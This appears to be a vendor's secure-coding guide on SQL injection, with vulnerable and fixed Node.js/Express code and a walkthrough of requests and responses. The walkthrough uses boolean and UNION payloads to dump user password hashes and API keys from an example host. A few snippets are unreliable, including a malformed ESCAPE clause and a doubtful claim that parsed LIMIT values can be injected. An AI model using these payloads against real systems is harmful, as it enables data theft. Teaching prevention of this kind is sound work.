SQL Injection

SQLi

SQL Injection at a glance

What it is: Untrusted input is interpreted as SQL, changing the query's structure or intent.
Why it happens: SQL injection occurs when untrusted input is concatenated into queries for clauses like WHERE or ORDER BY, or when raw SQL is used without proper parameter binding or sanitization.
How to fix: Use parameterized queries for all inputs, whitelist identifiers, escape LIKE patterns safely, and apply least-privilege permissions to database accounts.

Overview

SQL injection happens when applications mix untrusted data with SQL syntax. Attackers manipulate parameters to change WHERE clauses, inject unions, or modify ORDER BY and LIMIT logic. Correct fixes use bound parameters for values, strict whitelisting for identifiers, and defensive DB settings such as least privilege and safe error handling.

sequenceDiagram participant Browser participant App as App Server participant DB as Database Browser->>App: GET /users?q=<payload> App->>DB: SELECT id,name FROM users WHERE name LIKE '%<payload>%' DB-->>App: Many rows due to injected true condition App-->>Browser: Data beyond intended scope note over App,DB: Never build SQL with string concatenation
A potential flow for a SQL Injection exploit

Where it occurs

It occurs in database queries built with string concatenation or raw SQL methods without parameter binding, especially in custom authentication or query logic.

Impact

Attackers can query or modify data, create admin users, extract secrets, and in some cases pivot to RCE through dangerous DB functions or extensions.

Prevention

Prevent SQL injection by using prepared statements for all values, whitelisting identifiers, escaping special characters for LIKE, suppressing detailed SQL errors, and enforcing least-privilege database roles for reads and writes.

Examples

Switch tabs to view language/framework variants.

Building SQL with string concatenation enables injection in WHERE

The handler interpolates a query param into SQL, allowing boolean bypass or stacked statements if enabled.

Vulnerable
JavaScript • Express + mysql2 — Bad
const mysql = require('mysql2/promise');
app.get('/users', async (req,res)=>{
  const name = req.query.q || '';
  const sql = "SELECT id,name FROM users WHERE name LIKE '%" + name + "%'"; // BUG
  const [rows] = await db.execute(sql);
  res.json(rows);
});
  • Line 4: User input concatenated into SQL

Concatenating untrusted input into SQL lets attackers change query logic.

Secure
JavaScript • Express + mysql2 — Good
app.get('/users', async (req,res)=>{
  const q = String(req.query.q || '').slice(0,64);
  const like = `%${q.replace(/[%_]/g, '\\$&')}%`;
  const [rows] = await db.execute('SELECT id,name FROM users WHERE name LIKE ? ESCAPE \\n', [like]);
  res.json(rows);
});
  • Line 4: Parameterized query with escaped LIKE pattern and ESCAPE clause

Use parameters for values and escape special characters when using LIKE.

Engineer Checklist

  • Use parameterized queries for all values

  • Whitelist column names, sort directions, and table names when exposed

  • Escape % and _ with ESCAPE clause for LIKE patterns

  • Disable detailed SQL error messages in production

  • Run with least-privilege DB credentials and separate read from write roles

  • Add tests that try known injection probes on all SQL entry points

End-to-End Example

A search endpoint concatenates the q parameter into a LIKE clause. Attackers craft input that breaks out of the pattern and forces a true condition, returning all rows.

Vulnerable
JAVASCRIPT
// Node.js/Express - Vulnerable to SQL Injection

const mysql = require('mysql2/promise');

// VULNERABLE: Search with string concatenation
app.get('/users', async (req, res) => {
  const q = req.query.q || '';
  
  // VULNERABLE: String interpolation allows SQL injection!
  // Attacker sends: ?q=' OR '1'='1
  // Resulting query: SELECT id, name FROM users WHERE name LIKE '%' OR '1'='1%'
  // Returns ALL users!
  const sql = `SELECT id, name FROM users WHERE name LIKE '%${q}%'`;
  
  const [rows] = await db.query(sql);
  res.json(rows);
});

// VULNERABLE: Login authentication
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  
  // VULNERABLE: String concatenation in WHERE clause
  // Attacker sends email: admin' --
  // Resulting query: SELECT * FROM users WHERE email = 'admin' --' AND password = 'x'
  // The -- comments out the password check!
  const sql = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
  
  const [users] = await db.query(sql);
  
  if (users.length > 0) {
    req.session.userId = users[0].id;
    res.json({ message: 'Login successful' });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

// VULNERABLE: Sorting parameter
app.get('/products', async (req, res) => {
  const sortBy = req.query.sort || 'name';
  const order = req.query.order || 'ASC';
  
  // VULNERABLE: ORDER BY clause injection
  // Attacker sends: ?sort=(CASE WHEN (SELECT COUNT(*) FROM users WHERE id=1) > 0 THEN price ELSE name END)
  // Can extract data via timing or boolean conditions
  const sql = `SELECT id, name, price FROM products ORDER BY ${sortBy} ${order}`;
  
  const [rows] = await db.query(sql);
  res.json(rows);
});

// VULNERABLE: Batch delete
app.delete('/api/orders', async (req, res) => {
  const ids = req.body.ids;  // Array like [1, 2, 3]
  
  // VULNERABLE: IN clause with string join
  // Attacker sends: ids = ["1) OR 1=1 --"]
  // Resulting query: DELETE FROM orders WHERE id IN (1) OR 1=1 --)
  // Deletes ALL orders!
  const sql = `DELETE FROM orders WHERE id IN (${ids.join(',')})`;
  
  await db.query(sql);
  res.json({ message: 'Orders deleted' });
});

// VULNERABLE: Dynamic table name
app.get('/api/reports/:table', async (req, res) => {
  const tableName = req.params.table;
  const limit = req.query.limit || 100;
  
  // VULNERABLE: Table name injection
  // Attacker sends: /api/reports/users UNION SELECT password,email,null FROM admin_users--
  // Can query any table and combine results
  const sql = `SELECT * FROM ${tableName} LIMIT ${limit}`;
  
  const [rows] = await db.query(sql);
  res.json(rows);
});

// VULNERABLE: LIMIT clause injection
app.get('/api/users/paginated', async (req, res) => {
  const page = parseInt(req.query.page) || 0;
  const size = parseInt(req.query.size) || 10;
  
  // VULNERABLE: Even with parseInt, can inject via OFFSET
  // Attacker manipulates query structure
  const offset = page * size;
  const sql = `SELECT id, name FROM users LIMIT ${size} OFFSET ${offset}`;
  
  const [rows] = await db.query(sql);
  res.json(rows);
});

// VULNERABLE: JSON field query (NoSQL-style queries in SQL)
app.post('/api/search-metadata', async (req, res) => {
  const field = req.body.field;
  const value = req.body.value;
  
  // VULNERABLE: JSON_EXTRACT with user input
  // Attacker can inject malicious JSON paths
  const sql = `SELECT * FROM documents WHERE JSON_EXTRACT(metadata, '$.${field}') = '${value}'`;
  
  const [rows] = await db.query(sql);
  res.json(rows);
});
Secure
JAVASCRIPT
// Node.js/Express - Secure SQL queries with parameterization

const mysql = require('mysql2/promise');

// SECURE: Search with parameterized query
app.get('/users', async (req, res) => {
  const q = req.query.q || '';
  
  // SECURE: Validate and limit input length
  if (q.length > 100) {
    return res.status(400).json({ error: 'Search query too long' });
  }
  
  // SECURE: Escape LIKE special characters (%  _)
  const escapedQ = q.replace(/[%_\\]/g, '\\$&');
  const pattern = '%' + escapedQ + '%';
  
  // SECURE: Use parameterized query with placeholders
  // Database driver handles proper escaping automatically
  const sql = 'SELECT id, name FROM users WHERE name LIKE ?';
  const [rows] = await db.query(sql, [pattern]);
  
  res.json(rows);
});

// SECURE: Login authentication with prepared statements
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  
  // SECURE: Input validation
  if (!email || !password) {
    return res.status(400).json({ error: 'Email and password required' });
  }
  
  // SECURE: Parameterized query - no string concatenation!
  // Placeholders (?) prevent SQL injection
  const sql = 'SELECT id, password_hash FROM users WHERE email = ?';
  const [users] = await db.query(sql, [email]);
  
  if (users.length === 0) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  // SECURE: Compare password hash (never store plaintext)
  const validPassword = await bcrypt.compare(password, users[0].password_hash);
  
  if (validPassword) {
    req.session.userId = users[0].id;
    res.json({ message: 'Login successful' });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

// SECURE: Sorting with allow-list
app.get('/products', async (req, res) => {
  const sortBy = req.query.sort || 'name';
  const order = req.query.order || 'ASC';
  
  // SECURE: Validate sort column against allow-list
  const ALLOWED_SORT_COLUMNS = ['name', 'price', 'created_at', 'category'];
  if (!ALLOWED_SORT_COLUMNS.includes(sortBy)) {
    return res.status(400).json({ error: 'Invalid sort column' });
  }
  
  // SECURE: Validate sort order
  const ALLOWED_ORDER = ['ASC', 'DESC'];
  if (!ALLOWED_ORDER.includes(order.toUpperCase())) {
    return res.status(400).json({ error: 'Invalid sort order' });
  }
  
  // SECURE: Build query with validated identifiers
  // Column names can't be parameterized, but we validated them
  const sql = `SELECT id, name, price FROM products ORDER BY ${sortBy} ${order.toUpperCase()}`;
  const [rows] = await db.query(sql);
  
  res.json(rows);
});

// SECURE: Batch delete with parameterized IN clause
app.delete('/api/orders', async (req, res) => {
  const ids = req.body.ids;
  
  // SECURE: Validate input
  if (!Array.isArray(ids) || ids.length === 0) {
    return res.status(400).json({ error: 'Invalid IDs array' });
  }
  
  if (ids.length > 100) {
    return res.status(400).json({ error: 'Too many IDs (max 100)' });
  }
  
  // SECURE: Validate each ID is an integer
  const validIds = ids.filter(id => Number.isInteger(id) && id > 0);
  
  if (validIds.length === 0) {
    return res.status(400).json({ error: 'No valid IDs provided' });
  }
  
  // SECURE: Create parameterized placeholders for IN clause
  const placeholders = validIds.map(() => '?').join(',');
  const sql = `DELETE FROM orders WHERE id IN (${placeholders}) AND user_id = ?`;
  
  // SECURE: Pass validated IDs as parameters
  const [result] = await db.query(sql, [...validIds, req.session.userId]);
  
  res.json({ message: 'Orders deleted', count: result.affectedRows });
});

// SECURE: Dynamic table with allow-list
app.get('/api/reports/:table', async (req, res) => {
  const tableName = req.params.table;
  const limit = parseInt(req.query.limit) || 100;
  
  // SECURE: Table name allow-list
  const ALLOWED_TABLES = {
    'orders': 'orders',
    'products': 'products',
    'users': 'users'
  };
  
  if (!ALLOWED_TABLES[tableName]) {
    return res.status(400).json({ error: 'Invalid table name' });
  }
  
  // SECURE: Validate limit
  if (!Number.isInteger(limit) || limit < 1 || limit > 1000) {
    return res.status(400).json({ error: 'Invalid limit' });
  }
  
  // SECURE: Use validated table name from allow-list
  const safeTable = ALLOWED_TABLES[tableName];
  
  // SECURE: Parameterize LIMIT
  const sql = `SELECT * FROM ${safeTable} LIMIT ?`;
  const [rows] = await db.query(sql, [limit]);
  
  res.json(rows);
});

// SECURE: Pagination with parameterized values
app.get('/api/users/paginated', async (req, res) => {
  const page = parseInt(req.query.page) || 0;
  const size = parseInt(req.query.size) || 10;
  
  // SECURE: Validate pagination parameters
  if (!Number.isInteger(page) || page < 0) {
    return res.status(400).json({ error: 'Invalid page number' });
  }
  
  if (!Number.isInteger(size) || size < 1 || size > 100) {
    return res.status(400).json({ error: 'Invalid page size (1-100)' });
  }
  
  const offset = page * size;
  
  // SECURE: Use parameterized LIMIT and OFFSET
  const sql = 'SELECT id, name FROM users LIMIT ? OFFSET ?';
  const [rows] = await db.query(sql, [size, offset]);
  
  res.json(rows);
});

// SECURE: JSON field query with validation
app.post('/api/search-metadata', async (req, res) => {
  const field = req.body.field;
  const value = req.body.value;
  
  // SECURE: Allow-list JSON field paths
  const ALLOWED_FIELDS = ['category', 'author', 'tags', 'status'];
  if (!ALLOWED_FIELDS.includes(field)) {
    return res.status(400).json({ error: 'Invalid field' });
  }
  
  // SECURE: Validate value
  if (typeof value !== 'string' || value.length > 100) {
    return res.status(400).json({ error: 'Invalid value' });
  }
  
  // SECURE: Build JSON path safely with validated field
  const jsonPath = `$.${field}`;
  
  // SECURE: Parameterize the value
  const sql = 'SELECT * FROM documents WHERE JSON_EXTRACT(metadata, ?) = ?';
  const [rows] = await db.query(sql, [jsonPath, value]);
  
  res.json(rows);
});

// SECURE: Using ORM for additional safety (e.g., Sequelize)
const { Sequelize, Model, DataTypes } = require('sequelize');

class User extends Model {}
User.init({
  id: { type: DataTypes.INTEGER, primaryKey: true },
  name: DataTypes.STRING,
  email: DataTypes.STRING
}, { sequelize, modelName: 'user' });

app.get('/api/users-orm', async (req, res) => {
  const searchTerm = req.query.q || '';
  
  // SECURE: ORM handles parameterization automatically
  const users = await User.findAll({
    where: {
      name: {
        [Sequelize.Op.like]: `%${searchTerm}%`
      }
    },
    limit: 100
  });
  
  res.json(users);
});

// SECURE: Least privilege database user
// Configure database connection with read-only user for read operations
const readOnlyDb = mysql.createPool({
  host: process.env.DB_HOST,
  user: process.env.DB_READ_USER,  // User with only SELECT privilege
  password: process.env.DB_READ_PASSWORD,
  database: process.env.DB_NAME
});

app.get('/api/public-products', async (req, res) => {
  // SECURE: Use read-only connection for public queries
  // Even if injection occurs, can't modify data
  const sql = 'SELECT id, name, price FROM products WHERE published = ?';
  const [rows] = await readOnlyDb.query(sql, [true]);
  res.json(rows);
});

Discovery

Test the search parameter with SQL special characters and payloads to confirm string concatenation and identify injection type (error-based, boolean-based, UNION-based, or time-based blind).

  1. 1. Test for SQL syntax errors

    http

    Action

    Submit single quote to trigger SQL syntax error

    Request

    GET https://app.example.com/users?q=test'

    Response

    Status: 500
    Body:
    {
      "error": "Internal Server Error",
      "message": "ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test''' at line 1",
      "sql": "SELECT id, name FROM users WHERE name LIKE '%test'%'"
    }

    Artifacts

    sql_syntax_error query_disclosure mysql_version_hint
  2. 2. Confirm boolean-based injection

    http

    Action

    Test with boolean conditions to confirm SQL injection

    Request

    GET https://app.example.com/users?q=%' OR '1'='1

    Response

    Status: 200
    Body:
    [
      {
        "id": 1,
        "name": "Alice Johnson"
      },
      {
        "id": 2,
        "name": "Bob Smith"
      },
      {
        "id": 3,
        "name": "Charlie Davis"
      },
      {
        "id": 4,
        "name": "Diana Martinez"
      },
      {
        "id": 5,
        "name": "admin"
      },
      "... (125 total users returned - all users in database)"
    ]

    Artifacts

    boolean_injection_confirmed full_table_dump admin_account_disclosed
  3. 3. Test UNION-based extraction

    http

    Action

    Attempt UNION SELECT to determine column count

    Request

    GET https://app.example.com/users?q=%' UNION SELECT NULL,NULL--

    Response

    Status: 200
    Body:
    [
      {
        "id": 1,
        "name": "Alice Johnson"
      },
      {
        "id": "NULL",
        "name": "NULL"
      }
    ]

    Artifacts

    union_injection_confirmed column_count_identified data_exfiltration_possible

Exploit steps

Attacker uses UNION-based SQL injection to extract database structure, then dumps sensitive tables including user credentials and API keys.

  1. 1. Enumerate database structure

    Extract table and column names

    http

    Action

    Use UNION SELECT to query information_schema for database structure

    Request

    GET https://app.example.com/users?q=%' UNION SELECT table_name,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() GROUP BY table_name--

    Response

    Status: 200
    Body:
    [
      {
        "id": "users",
        "name": "id,username,email,password_hash,role,created_at"
      },
      {
        "id": "api_keys",
        "name": "id,service_name,api_key,api_secret,created_at"
      },
      {
        "id": "sessions",
        "name": "id,user_id,token,expires_at"
      },
      {
        "id": "payments",
        "name": "id,user_id,amount,card_last4,stripe_customer_id"
      }
    ]

    Artifacts

    database_schema sensitive_table_names column_enumeration
  2. 2. Extract user credentials

    Dump usernames and password hashes

    http

    Action

    Use UNION to extract all usernames and password hashes

    Request

    GET https://app.example.com/users?q=%' UNION SELECT username,password_hash FROM users--

    Response

    Status: 200
    Body:
    [
      {
        "id": "admin",
        "name": "$2b$10$N9qo8uLOickgx2ZMRZoMye..."
      },
      {
        "id": "alice.johnson",
        "name": "$2b$10$rXt5OiZKJx8yZTp9Aa2F0u..."
      },
      {
        "id": "bob.smith",
        "name": "$2b$10$wY8KpT5bNc3Hx9Tz2Lp8Ru..."
      },
      "... (125 users with bcrypt hashes - ready for offline cracking)"
    ]

    Artifacts

    user_credentials bcrypt_hashes admin_account
  3. 3. Steal API keys and secrets

    Extract third-party API credentials

    http

    Action

    Dump api_keys table containing service credentials

    Request

    GET https://app.example.com/users?q=%' UNION SELECT service_name,CONCAT(api_key,':',api_secret) FROM api_keys--

    Response

    Status: 200
    Body:
    [
      {
        "id": "Stripe",
        "name": "sk_live_51HxYz...:whsec_abc123..."
      },
      {
        "id": "AWS",
        "name": "AKIAIOSFODNN7EXAMPLE:wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLE"
      },
      {
        "id": "SendGrid",
        "name": "SG.xYz789...:n/a"
      },
      {
        "id": "Twilio",
        "name": "ACa1b2c3...:auth_token_xyz"
      }
    ]

    Artifacts

    stripe_secret_key aws_credentials sendgrid_api_key twilio_credentials

Specific Impact

User directory is exposed, enabling targeted phishing and abuse of other systems.

Further chaining may allow editing records or dumping sensitive tables if write or admin privileges are available.

Fix

Replace string concatenation with prepared statements. Escape LIKE metacharacters, and add allow lists for any identifier positions such as column names for ORDER BY. Limit DB user privileges so even if a query is abused, the blast radius stays small.

Detect This Vulnerability in Your Code

Sourcery automatically identifies sql injection vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free